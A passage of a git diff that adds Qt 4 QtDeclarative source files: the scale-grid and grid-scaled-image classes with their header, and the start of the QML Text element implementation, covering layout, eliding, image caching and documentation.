+}
+
+void QDeclarativeScaleGrid::setLeft(int pos)
+{
+ if (_left != pos) {
+ _left = pos;
+ emit borderChanged();
+ }
+}
+
+void QDeclarativeScaleGrid::setTop(int pos)
+{
+ if (_top != pos) {
+ _top = pos;
+ emit borderChanged();
+ }
+}
+
+void QDeclarativeScaleGrid::setRight(int pos)
+{
+ if (_right != pos) {
+ _right = pos;
+ emit borderChanged();
+ }
+}
+
+void QDeclarativeScaleGrid::setBottom(int pos)
+{
+ if (_bottom != pos) {
+ _bottom = pos;
+ emit borderChanged();
+ }
+}
+
+QDeclarativeGridScaledImage::QDeclarativeGridScaledImage()
+: _l(-1), _r(-1), _t(-1), _b(-1),
+ _h(QDeclarativeBorderImage::Stretch), _v(QDeclarativeBorderImage::Stretch)
+{
+}
+
+QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(const QDeclarativeGridScaledImage &o)
+: _l(o._l), _r(o._r), _t(o._t), _b(o._b), _h(o._h), _v(o._v), _pix(o._pix)
+{
+}
+
+QDeclarativeGridScaledImage &QDeclarativeGridScaledImage::operator=(const QDeclarativeGridScaledImage &o)
+{
+ _l = o._l;
+ _r = o._r;
+ _t = o._t;
+ _b = o._b;
+ _h = o._h;
+ _v = o._v;
+ _pix = o._pix;
+ return *this;
+}
+
+QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(QIODevice *data)
+: _l(-1), _r(-1), _t(-1), _b(-1), _h(QDeclarativeBorderImage::Stretch), _v(QDeclarativeBorderImage::Stretch)
+{
+ int l = -1;
+ int r = -1;
+ int t = -1;
+ int b = -1;
+ QString imgFile;
+
+ QByteArray raw;
+ while(raw = data->readLine(), !raw.isEmpty()) {
+ QString line = QString::fromUtf8(raw.trimmed());
+ if (line.isEmpty() || line.startsWith(QLatin1Char('#')))
+ continue;
+
+ int colonId = line.indexOf(QLatin1Char(':'));
+ if (colonId <= 0)
+ return;
+ QStringList list;
+ list.append(line.left(colonId).trimmed());
+ list.append(line.mid(colonId+1).trimmed());
+
+ if (list[0] == QLatin1String("border.left"))
+ l = list[1].toInt();
+ else if (list[0] == QLatin1String("border.right"))
+ r = list[1].toInt();
+ else if (list[0] == QLatin1String("border.top"))
+ t = list[1].toInt();
+ else if (list[0] == QLatin1String("border.bottom"))
+ b = list[1].toInt();
+ else if (list[0] == QLatin1String("source"))
+ imgFile = list[1];
+ else if (list[0] == QLatin1String("horizontalTileRule"))
+ _h = stringToRule(list[1]);
+ else if (list[0] == QLatin1String("verticalTileRule"))
+ _v = stringToRule(list[1]);
+ }
+
+ if (l < 0 || r < 0 || t < 0 || b < 0 || imgFile.isEmpty())
+ return;
+
+ _l = l; _r = r; _t = t; _b = b;
+
+ _pix = imgFile;
+}
+
+QDeclarativeBorderImage::TileMode QDeclarativeGridScaledImage::stringToRule(const QString &s)
+{
+ if (s == QLatin1String("Stretch"))
+ return QDeclarativeBorderImage::Stretch;
+ if (s == QLatin1String("Repeat"))
+ return QDeclarativeBorderImage::Repeat;
+ if (s == QLatin1String("Round"))
+ return QDeclarativeBorderImage::Round;
+
+ qWarning("QDeclarativeGridScaledImage: Invalid tile rule specified. Using Stretch.");
+ return QDeclarativeBorderImage::Stretch;
+}
+
+bool QDeclarativeGridScaledImage::isValid() const
+{
+ return _l >= 0;
+}
+
+int QDeclarativeGridScaledImage::gridLeft() const
+{
+ return _l;
+}
+
+int QDeclarativeGridScaledImage::gridRight() const
+{
+ return _r;
+}
+
+int QDeclarativeGridScaledImage::gridTop() const
+{
+ return _t;
+}
+
+int QDeclarativeGridScaledImage::gridBottom() const
+{
+ return _b;
+}
+
+QString QDeclarativeGridScaledImage::pixmapUrl() const
+{
+ return _pix;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativescalegrid_p_p.h b/src/declarative/graphicsitems/qdeclarativescalegrid_p_p.h
new file mode 100644
index 00000000..90f69d90
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativescalegrid_p_p.h
@@ -0,0 +1,134 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVESCALEGRID_H
+#define QDECLARATIVESCALEGRID_H
+
+#include <qdeclarative.h>
+
+#include <QtCore/QString>
+#include <QtCore/QObject>
+
+#include <private/qdeclarativeborderimage_p.h>
+#include <private/qdeclarativepixmapcache_p.h>
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeScaleGrid : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(TileRule)
+
+ Q_PROPERTY(int left READ left WRITE setLeft NOTIFY borderChanged)
+ Q_PROPERTY(int top READ top WRITE setTop NOTIFY borderChanged)
+ Q_PROPERTY(int right READ right WRITE setRight NOTIFY borderChanged)
+ Q_PROPERTY(int bottom READ bottom WRITE setBottom NOTIFY borderChanged)
+
+public:
+ QDeclarativeScaleGrid(QObject *parent=0);
+ ~QDeclarativeScaleGrid();
+
+ bool isNull() const;
+
+ int left() const { return _left; }
+ void setLeft(int);
+
+ int top() const { return _top; }
+ void setTop(int);
+
+ int right() const { return _right; }
+ void setRight(int);
+
+ int bottom() const { return _bottom; }
+ void setBottom(int);
+
+Q_SIGNALS:
+ void borderChanged();
+
+private:
+ int _left;
+ int _top;
+ int _right;
+ int _bottom;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeGridScaledImage
+{
+public:
+ QDeclarativeGridScaledImage();
+ QDeclarativeGridScaledImage(const QDeclarativeGridScaledImage &);
+ QDeclarativeGridScaledImage(QIODevice*);
+ QDeclarativeGridScaledImage &operator=(const QDeclarativeGridScaledImage &);
+ bool isValid() const;
+ int gridLeft() const;
+ int gridRight() const;
+ int gridTop() const;
+ int gridBottom() const;
+ QDeclarativeBorderImage::TileMode horizontalTileRule() const { return _h; }
+ QDeclarativeBorderImage::TileMode verticalTileRule() const { return _v; }
+
+ QString pixmapUrl() const;
+
+private:
+ static QDeclarativeBorderImage::TileMode stringToRule(const QString &);
+
+private:
+ int _l;
+ int _r;
+ int _t;
+ int _b;
+ QDeclarativeBorderImage::TileMode _h;
+ QDeclarativeBorderImage::TileMode _v;
+ QString _pix;
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeScaleGrid)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVESCALEGRID_H
diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
new file mode 100644
index 00000000..4d0e5829
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
@@ -0,0 +1,1635 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetext_p.h"
+#include "private/qdeclarativetext_p_p.h"
+#include <qdeclarativestyledtext_p.h>
+#include <qdeclarativeinfo.h>
+#include <qdeclarativepixmapcache_p.h>
+
+#include <QSet>
+#include <QTextLayout>
+#include <QTextLine>
+#include <QTextDocument>
+#include <QGraphicsSceneMouseEvent>
+#include <QPainter>
+#include <QAbstractTextDocumentLayout>
+#include <qmath.h>
+#include <limits.h>
+
+QT_BEGIN_NAMESPACE
+
+extern Q_GUI_EXPORT bool qt_applefontsmoothing_enabled;
+
+class QTextDocumentWithImageResources : public QTextDocument {
+ Q_OBJECT
+
+public:
+ QTextDocumentWithImageResources(QDeclarativeText *parent);
+ virtual ~QTextDocumentWithImageResources();
+
+ void setText(const QString &);
+ int resourcesLoading() const { return outstanding; }
+
+protected:
+ QVariant loadResource(int type, const QUrl &name);
+
+private slots:
+ void requestFinished();
+
+private:
+ QHash<QUrl, QDeclarativePixmap *> m_resources;
+
+ int outstanding;
+ static QSet<QUrl> errors;
+};
+
+DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE);
+
+QString QDeclarativeTextPrivate::elideChar = QString(0x2026);
+
+QDeclarativeTextPrivate::QDeclarativeTextPrivate()
+: color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft),
+ vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone),
+ format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineHeight(1),
+ lineHeightMode(QDeclarativeText::ProportionalHeight), lineCount(1), truncated(false), maximumLineCount(INT_MAX),
+ maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false),
+ cacheAllTextAsImage(true), internalWidthUpdate(false), requireImplicitWidth(false), hAlignImplicit(true),
+ rightToLeftText(false), layoutTextElided(false), naturalWidth(0), doc(0)
+{
+ cacheAllTextAsImage = enableImageCache();
+ QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton;
+ QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents;
+}
+
+QTextDocumentWithImageResources::QTextDocumentWithImageResources(QDeclarativeText *parent)
+: QTextDocument(parent), outstanding(0)
+{
+}
+
+QTextDocumentWithImageResources::~QTextDocumentWithImageResources()
+{
+ if (!m_resources.isEmpty())
+ qDeleteAll(m_resources);
+}
+
+QVariant QTextDocumentWithImageResources::loadResource(int type, const QUrl &name)
+{
+ QDeclarativeContext *context = qmlContext(parent());
+ QUrl url = context->resolvedUrl(name);
+
+ if (type == QTextDocument::ImageResource) {
+ QHash<QUrl, QDeclarativePixmap *>::Iterator iter = m_resources.find(url);
+
+ if (iter == m_resources.end()) {
+ QDeclarativePixmap *p = new QDeclarativePixmap(context->engine(), url);
+ iter = m_resources.insert(name, p);
+
+ if (p->isLoading()) {
+ p->connectFinished(this, SLOT(requestFinished()));
+ outstanding++;
+ }
+ }
+
+ QDeclarativePixmap *p = *iter;
+ if (p->isReady()) {
+ return p->pixmap();
+ } else if (p->isError()) {
+ if (!errors.contains(url)) {
+ errors.insert(url);
+ qmlInfo(parent()) << p->error();
+ }
+ }
+ }
+
+ return QTextDocument::loadResource(type,url); // The *resolved* URL
+}
+
+void QTextDocumentWithImageResources::requestFinished()
+{
+ outstanding--;
+ if (outstanding == 0) {
+ QDeclarativeText *textItem = static_cast<QDeclarativeText*>(parent());
+ QString text = textItem->text();
+#ifndef QT_NO_TEXTHTMLPARSER
+ setHtml(text);
+#else
+ setPlainText(text);
+#endif
+ QDeclarativeTextPrivate *d = QDeclarativeTextPrivate::get(textItem);
+ d->updateLayout();
+ }
+}
+
+void QTextDocumentWithImageResources::setText(const QString &text)
+{
+ if (!m_resources.isEmpty()) {
+ qDeleteAll(m_resources);
+ m_resources.clear();
+ outstanding = 0;
+ }
+
+#ifndef QT_NO_TEXTHTMLPARSER
+ setHtml(text);
+#else
+ setPlainText(text);
+#endif
+}
+
+QSet<QUrl> QTextDocumentWithImageResources::errors;
+
+QDeclarativeTextPrivate::~QDeclarativeTextPrivate()
+{
+}
+
+qreal QDeclarativeTextPrivate::implicitWidth() const
+{
+ if (!requireImplicitWidth) {
+ // We don't calculate implicitWidth unless it is required.
+ // We need to force a size update now to ensure implicitWidth is calculated
+ QDeclarativeTextPrivate *me = const_cast<QDeclarativeTextPrivate*>(this);
+ me->requireImplicitWidth = true;
+ me->updateSize();
+ }
+ return mImplicitWidth;
+}
+
+void QDeclarativeTextPrivate::updateLayout()
+{
+ Q_Q(QDeclarativeText);
+ if (!q->isComponentComplete()) {
+ updateOnComponentComplete = true;
+ return;
+ }
+
+ layoutTextElided = false;
+ // Setup instance of QTextLayout for all cases other than richtext
+ if (!richText) {
+ layout.clearLayout();
+ layout.setFont(font);
+ if (format != QDeclarativeText::StyledText) {
+ QString tmp = text;
+ tmp.replace(QLatin1Char('\n'), QChar::LineSeparator);
+ singleline = !tmp.contains(QChar::LineSeparator);
+ if (singleline && !maximumLineCountValid && elideMode != QDeclarativeText::ElideNone && q->widthValid()) {
+ QFontMetrics fm(font);
+ tmp = fm.elidedText(tmp,(Qt::TextElideMode)elideMode,q->width());
+ if (tmp != text) {
+ layoutTextElided = true;
+ if (!truncated) {
+ truncated = true;
+ emit q->truncatedChanged();
+ }
+ }
+ }
+ layout.setText(tmp);
+ } else {
+ singleline = false;
+ QDeclarativeStyledText::parse(text, layout);
+ }
+ }
+
+ updateSize();
+}
+
+void QDeclarativeTextPrivate::updateSize()
+{
+ Q_Q(QDeclarativeText);
+
+ if (!q->isComponentComplete()) {
+ updateOnComponentComplete = true;
+ return;
+ }
+
+ if (!requireImplicitWidth) {
+ emit q->implicitWidthChanged();
+ // if the implicitWidth is used, then updateSize() has already been called (recursively)
+ if (requireImplicitWidth)
+ return;
+ }
+
+ invalidateImageCache();
+
+ QFontMetrics fm(font);
+ if (text.isEmpty()) {
+ q->setImplicitWidth(0);
+ q->setImplicitHeight(fm.height());
+ paintedSize = QSize(0, fm.height());
+ emit q->paintedSizeChanged();
+ q->update();
+ return;
+ }
+
+ int dy = q->height();
+ QSize size(0, 0);
+
+ //setup instance of QTextLayout for all cases other than richtext
+ if (!richText) {
+ QRect textRect = setupTextLayout();
+ if (layedOutTextRect.size() != textRect.size())
+ q->prepareGeometryChange();
+ layedOutTextRect = textRect;
+ size = textRect.size();
+ dy -= size.height();
+ } else {
+ singleline = false; // richtext can't elide or be optimized for single-line case
+ ensureDoc();
+ doc->setDefaultFont(font);
+
+ QDeclarativeText::HAlignment horizontalAlignment = q->effectiveHAlign();
+ if (rightToLeftText) {
+ if (horizontalAlignment == QDeclarativeText::AlignLeft)
+ horizontalAlignment = QDeclarativeText::AlignRight;
+ else if (horizontalAlignment == QDeclarativeText::AlignRight)
+ horizontalAlignment = QDeclarativeText::AlignLeft;
+ }
+ QTextOption option;
+ option.setAlignment((Qt::Alignment)int(horizontalAlignment | vAlign));
+ option.setWrapMode(QTextOption::WrapMode(wrapMode));
+ doc->setDefaultTextOption(option);
+ if (requireImplicitWidth && q->widthValid()) {
+ doc->setTextWidth(-1);
+ naturalWidth = doc->idealWidth();
+ }
+ if (q->widthValid())
+ doc->setTextWidth(q->width());
+ else
+ doc->setTextWidth(doc->idealWidth()); // ### Text does not align if width is not set (QTextDoc bug)
+ dy -= (int)doc->size().height();
+ QSize dsize = doc->size().toSize();
+ if (dsize != layedOutTextRect.size()) {
+ q->prepareGeometryChange();
+ layedOutTextRect = QRect(QPoint(0,0), dsize);
+ }
+ size = QSize(int(doc->idealWidth()),dsize.height());
+ }
+ int yoff = 0;
+
+ if (q->heightValid()) {
+ if (vAlign == QDeclarativeText::AlignBottom)
+ yoff = dy;
+ else if (vAlign == QDeclarativeText::AlignVCenter)
+ yoff = dy/2;
+ }
+ q->setBaselineOffset(fm.ascent() + yoff);
+
+ //### need to comfirm cost of always setting these for richText
+ internalWidthUpdate = true;
+ if (!q->widthValid())
+ q->setImplicitWidth(size.width());
+ else if (requireImplicitWidth)
+ q->setImplicitWidth(naturalWidth);
+ internalWidthUpdate = false;
+ q->setImplicitHeight(size.height());
+ if (paintedSize != size) {
+ paintedSize = size;
+ emit q->paintedSizeChanged();
+ }
+ q->update();
+}
+
+/*!
+ Lays out the QDeclarativeTextPrivate::layout QTextLayout in the constraints of the QDeclarativeText.
+
+ Returns the size of the final text. This can be used to position the text vertically (the text is
+ already absolutely positioned horizontally).
+*/
+QRect QDeclarativeTextPrivate::setupTextLayout()
+{
+ // ### text layout handling should be profiled and optimized as needed
+ // what about QStackTextEngine engine(tmp, d->font.font()); QTextLayout textLayout(&engine);
+ Q_Q(QDeclarativeText);
+ layout.setCacheEnabled(true);
+
+ qreal lineWidth = 0;
+ int visibleCount = 0;
+
+ //set manual width
+ if (q->widthValid())
+ lineWidth = q->width();
+
+ QTextOption textOption = layout.textOption();
+ textOption.setAlignment(Qt::Alignment(q->effectiveHAlign()));
+ textOption.setWrapMode(QTextOption::WrapMode(wrapMode));
+ layout.setTextOption(textOption);
+
+ bool elideText = false;
+ bool truncate = false;
+
+ QFontMetrics fm(layout.font());
+ elidePos = QPointF();
+
+ if (requireImplicitWidth && q->widthValid()) {
+ // requires an extra layout
+ QString elidedText;
+ if (layoutTextElided) {
+ // We have provided elided text to the layout, but we must calculate unelided width.
+ elidedText = layout.text();
+ layout.setText(text);
+ }
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ }
+ layout.endLayout();
+ QRectF br;
+ for (int i = 0; i < layout.lineCount(); ++i) {
+ QTextLine line = layout.lineAt(i);
+ br = br.united(line.naturalTextRect());
+ }
+ naturalWidth = br.width();
+ if (layoutTextElided)
+ layout.setText(elidedText);
+ }
+
+ if (maximumLineCountValid) {
+ layout.beginLayout();
+ if (!lineWidth)
+ lineWidth = INT_MAX;
+ int linesLeft = maximumLineCount;
+ int visibleTextLength = 0;
+ while (linesLeft > 0) {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+
+ visibleCount++;
+ if (lineWidth)
+ line.setLineWidth(lineWidth);
+ visibleTextLength += line.textLength();
+
+ if (--linesLeft == 0) {
+ if (visibleTextLength < text.length()) {
+ truncate = true;
+ if (elideMode==QDeclarativeText::ElideRight && q->widthValid()) {
+ qreal elideWidth = fm.width(elideChar);
+ // Need to correct for alignment
+ line.setLineWidth(lineWidth-elideWidth);
+ if (layout.text().mid(line.textStart(), line.textLength()).isRightToLeft()) {
+ line.setPosition(QPointF(line.position().x() + elideWidth, line.position().y()));
+ elidePos.setX(line.naturalTextRect().left() - elideWidth);
+ } else {
+ elidePos.setX(line.naturalTextRect().right());
+ }
+ elideText = true;
+ }
+ }
+ }
+ }
+ layout.endLayout();
+
+ //Update truncated
+ if (truncated != truncate) {
+ truncated = truncate;
+ emit q->truncatedChanged();
+ }
+ } else {
+ layout.beginLayout();
+ forever {
+ QTextLine line = layout.createLine();
+ if (!line.isValid())
+ break;
+ visibleCount++;
+ if (lineWidth)
+ line.setLineWidth(lineWidth);
+ }
+ layout.endLayout();
+ }
+
+ qreal height = 0;
+ QRectF br;
+ for (int i = 0; i < layout.lineCount(); ++i) {
+ QTextLine line = layout.lineAt(i);
+ // set line spacing
+ line.setPosition(QPointF(line.position().x(), height));
+ if (elideText && i == layout.lineCount()-1) {
+ elidePos.setY(height + fm.ascent());
+ br = br.united(QRectF(elidePos, QSizeF(fm.width(elideChar), fm.ascent())));
+ }
+ br = br.united(line.naturalTextRect());
+ height += (lineHeightMode == QDeclarativeText::FixedHeight) ? lineHeight : line.height() * lineHeight;
+ }
+ br.setHeight(height);
+
+ if (!q->widthValid())
+ naturalWidth = br.width();
+
+ //Update the number of visible lines
+ if (lineCount != visibleCount) {
+ lineCount = visibleCount;
+ emit q->lineCountChanged();
+ }
+
+ return QRect(qRound(br.x()), qRound(br.y()), qCeil(br.width()), qCeil(br.height()));
+}
+
+/*!
+ Returns a painted version of the QDeclarativeTextPrivate::layout QTextLayout.
+ If \a drawStyle is true, the style color overrides all colors in the document.
+*/
+QPixmap QDeclarativeTextPrivate::textLayoutImage(bool drawStyle)
+{
+ //do layout
+ QSize size = layedOutTextRect.size();
+ //paint text
+ QPixmap img(size);
+ if (!size.isEmpty()) {
+ img.fill(Qt::transparent);
+#ifdef Q_WS_MAC
+ bool oldSmooth = qt_applefontsmoothing_enabled;
+ qt_applefontsmoothing_enabled = false;
+#endif
+ QPainter p(&img);
+#ifdef Q_WS_MAC
+ qt_applefontsmoothing_enabled = oldSmooth;
+#endif
+ drawTextLayout(&p, QPointF(-layedOutTextRect.x(),0), drawStyle);
+ }
+ return img;
+}
+
+/*!
+ Paints the QDeclarativeTextPrivate::layout QTextLayout into \a painter at \a pos. If
+ \a drawStyle is true, the style color overrides all colors in the document.
+*/
+void QDeclarativeTextPrivate::drawTextLayout(QPainter *painter, const QPointF &pos, bool drawStyle)
+{
+ if (drawStyle)
+ painter->setPen(styleColor);
+ else
+ painter->setPen(color);
+ painter->setFont(font);
+ layout.draw(painter, pos);
+ if (!elidePos.isNull())
+ painter->drawText(pos + elidePos, elideChar);
+}
+
+/*!
+ Returns a painted version of the QDeclarativeTextPrivate::doc QTextDocument.
+ If \a drawStyle is true, the style color overrides all colors in the document.
+*/
+QPixmap QDeclarativeTextPrivate::textDocumentImage(bool drawStyle)
+{
+ QSize size = doc->size().toSize();
+
+ //paint text
+ QPixmap img(size);
+ img.fill(Qt::transparent);
+#ifdef Q_WS_MAC
+ bool oldSmooth = qt_applefontsmoothing_enabled;
+ qt_applefontsmoothing_enabled = false;
+#endif
+ QPainter p(&img);
+#ifdef Q_WS_MAC
+ qt_applefontsmoothing_enabled = oldSmooth;
+#endif
+
+ QAbstractTextDocumentLayout::PaintContext context;
+
+ QTextOption oldOption(doc->defaultTextOption());
+ if (drawStyle) {
+ context.palette.setColor(QPalette::Text, styleColor);
+ QTextOption colorOption(doc->defaultTextOption());
+ colorOption.setFlags(QTextOption::SuppressColors);
+ doc->setDefaultTextOption(colorOption);
+ } else {
+ context.palette.setColor(QPalette::Text, color);
+ }
+ doc->documentLayout()->draw(&p, context);
+ if (drawStyle)
+ doc->setDefaultTextOption(oldOption);
+ return img;
+}
+
+/*!
+ Mark the image cache as dirty.
+*/
+void QDeclarativeTextPrivate::invalidateImageCache()
+{
+ Q_Q(QDeclarativeText);
+
+ if(cacheAllTextAsImage || style != QDeclarativeText::Normal){//If actually using the image cache
+ if (imageCacheDirty)
+ return;
+
+ imageCacheDirty = true;
+ imageCache = QPixmap();
+ }
+ if (q->isComponentComplete())
+ q->update();
+}
+
+/*!
+ Tests if the image cache is dirty, and repaints it if it is.
+*/
+void QDeclarativeTextPrivate::checkImageCache()
+{
+ if (!imageCacheDirty)
+ return;
+
+ if (text.isEmpty()) {
+
+ imageCache = QPixmap();
+
+ } else {
+
+ QPixmap textImage;
+ QPixmap styledImage;
+
+ if (richText) {
+ textImage = textDocumentImage(false);
+ if (style != QDeclarativeText::Normal)
+ styledImage = textDocumentImage(true); //### should use styleColor
+ } else {
+ textImage = textLayoutImage(false);
+ if (style != QDeclarativeText::Normal)
+ styledImage = textLayoutImage(true); //### should use styleColor
+ }
+
+ switch (style) {
+ case QDeclarativeText::Outline:
+ imageCache = drawOutline(textImage, styledImage);
+ break;
+ case QDeclarativeText::Sunken:
+ imageCache = drawOutline(textImage, styledImage, -1);
+ break;
+ case QDeclarativeText::Raised:
+ imageCache = drawOutline(textImage, styledImage, 1);
+ break;
+ default:
+ imageCache = textImage;
+ break;
+ }
+
+ }
+
+ imageCacheDirty = false;
+}
+
+/*!
+ Ensures the QDeclarativeTextPrivate::doc variable is set to a valid text document
+*/
+void QDeclarativeTextPrivate::ensureDoc()
+{
+ if (!doc) {
+ Q_Q(QDeclarativeText);
+ doc = new QTextDocumentWithImageResources(q);
+ doc->setDocumentMargin(0);
+ }
+}
+
+/*!
+ Draw \a styleSource as an outline around \a source and return the new image.
+*/
+QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixmap &styleSource)
+{
+ QPixmap img = QPixmap(styleSource.width() + 2, styleSource.height() + 2);
+ img.fill(Qt::transparent);
+
+ QPainter ppm(&img);
+
+ QPoint pos(0, 0);
+ pos += QPoint(-1, 0);
+ ppm.drawPixmap(pos, styleSource);
+ pos += QPoint(2, 0);
+ ppm.drawPixmap(pos, styleSource);
+ pos += QPoint(-1, -1);
+ ppm.drawPixmap(pos, styleSource);
+ pos += QPoint(0, 2);
+ ppm.drawPixmap(pos, styleSource);
+
+ pos += QPoint(0, -1);
+ ppm.drawPixmap(pos, source);
+ ppm.end();
+
+ return img;
+}
+
+/*!
+ Draw \a styleSource below \a source at \a yOffset and return the new image.
+*/
+QPixmap QDeclarativeTextPrivate::drawOutline(const QPixmap &source, const QPixmap &styleSource, int yOffset)
+{
+ QPixmap img = QPixmap(styleSource.width() + 2, styleSource.height() + 2);
+ img.fill(Qt::transparent);
+
+ QPainter ppm(&img);
+
+ ppm.drawPixmap(QPoint(0, yOffset), styleSource);
+ ppm.drawPixmap(0, 0, source);
+
+ ppm.end();
+
+ return img;
+}
+
+/*!
+ \qmlclass Text QDeclarativeText
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The Text item allows you to add formatted text to a scene.
+ \inherits Item
+
+ Text items can display both plain and rich text. For example, red text with
+ a specific font and size can be defined like this:
+
+ \qml
+ Text {
+ text: "Hello World!"
+ font.family: "Helvetica"
+ font.pointSize: 24
+ color: "red"
+ }
+ \endqml
+
+ Rich text is defined using HTML-style markup:
+
+ \qml
+ Text {
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ \endqml
+
+ \image declarative-text.png
+
+ If height and width are not explicitly set, Text will attempt to determine how
+ much room is needed and set it accordingly. Unless \l wrapMode is set, it will always
+ prefer width to height (all text will be placed on a single line).
+
+ The \l elide property can alternatively be used to fit a single line of
+ plain text to a set width.
+
+ Note that the \l{Supported HTML Subset} is limited. Also, if the text contains
+ HTML img tags that load remote images, the text is reloaded.
+
+ Text provides read-only text. For editable text, see \l TextEdit.
+
+ \sa {declarative/text/fonts}{Fonts example}
+*/
+QDeclarativeText::QDeclarativeText(QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeTextPrivate), parent)
+{
+}
+
+QDeclarativeText::~QDeclarativeText()
+{
+}
+
+/*!
+ \qmlproperty bool Text::clip
+ This property holds whether the text is clipped.
+
+ Note that if the text does not fit in the bounding rectangle it will be abruptly chopped.
+
+ If you want to display potentially long text in a limited space, you probably want to use \c elide instead.
+*/
+
+/*!
+ \qmlproperty bool Text::smooth
+
+ This property holds whether the text is smoothly scaled or transformed.
+
+ Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlsignal Text::onLinkActivated(string link)
+
+ This handler is called when the user clicks on a link embedded in the text.
+ The link must be in rich text or HTML format and the
+ \a link string provides access to the particular link.
+
+ \snippet doc/src/snippets/declarative/text/onLinkActivated.qml 0
+
+ The example code will display the text
+ "The main website is at \l{http://qt.nokia.com}{Nokia Qt DF}."
+
+ Clicking on the highlighted link will output
+ \tt{http://qt.nokia.com link activated} to the console.
+*/
+
+/*!
+ \qmlproperty string Text::font.family
+
+ Sets the family name of the font.
+
+ The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]".
+ If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen.
+ If the family isn't available a family will be set using the font matching algorithm.
+*/
+
+/*!
+ \qmlproperty bool Text::font.bold
+
+ Sets whether the font weight is bold.
+*/
+
+/*!
+ \qmlproperty enumeration Text::font.weight
+
+ Sets the font's weight.
+
+ The weight can be one of:
+ \list
+ \o Font.Light
+ \o Font.Normal - the default
+ \o Font.DemiBold
+ \o Font.Bold
+ \o Font.Black
+ \endlist
+
+ \qml
+ Text { text: "Hello"; font.weight: Font.DemiBold }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool Text::font.italic
+
+ Sets whether the font has an italic style.
+*/
+
+/*!
+ \qmlproperty bool Text::font.underline
+
+ Sets whether the text is underlined.
+*/
+
